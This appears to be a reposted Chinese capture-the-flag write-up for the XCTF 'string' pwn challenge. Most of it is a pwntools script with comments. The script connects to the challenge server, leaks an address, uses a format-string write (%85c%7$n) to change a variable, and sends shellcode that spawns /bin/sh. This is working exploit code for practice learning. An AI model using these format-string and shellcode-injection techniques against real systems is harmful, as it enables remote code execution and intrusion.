攻防世界 | string

#encoding=utf-8
#!usr/bin/python

from pwn import *
io = remote('111.198.29.45',42643)
io.recvuntil("secret[0] is ")
# recvuntil(some_string) 接收到 some_string 为止
v3_0_addr = int(io.recvuntil("\n")[:-1], 16) #打印cv3[0]的地址
log.info("v3_0_addr:" + hex(v3_0_addr))

#进入sub_4000D72()
io.recvuntil("character's name be:")
io.sendline("123")
#进入sub_400A7D()
io.recvuntil("east or up?:")
io.sendline("east")

#进入sub_400BB9():printf处存在格式化字符串漏洞,利用这一点去修改v3[0]的值为85
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
# 使用 *<a_number_of_chars>%<number>$n* 就可以将相应的第 *<number>* 个参数的位置写为 % 前输出的字符数量
# 如本题先用 %85c 输出了85个字符,再用 %7$n 将第七个参数的位置写成了85

#进入sub_400CA6():v1会被强制转成函数指针并且得到执行,所以我们传入一个system()函数去getshell
context(os='linux',arch='amd64') #设置目标机的参数 os设置系统为linux系统,arch设置架构为amd64
shellcode = asm(shellcraft.sh()) #(生成的shellcode攻击失败,所以使用反汇编的shellcode)
# (shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
# 注释 :师傅没有失败只是忘了context
# shellcraft 是一个帮忙生成shellcode的类. shellcraft.sh():获得执行system(“/bin/sh”)汇编代码所对应的机器码
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()


参考:

https://www.jianshu.com/p/457520f97a76

https://blog.csdn.net/qq_35495684/article/details/79583232

https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5056&number=2&grade=0&page=1

https://www.jianshu.com/p/8322fa5dff22

猜你喜欢

转载自www.cnblogs.com/chrysanthemum/p/11772977.html
今日推荐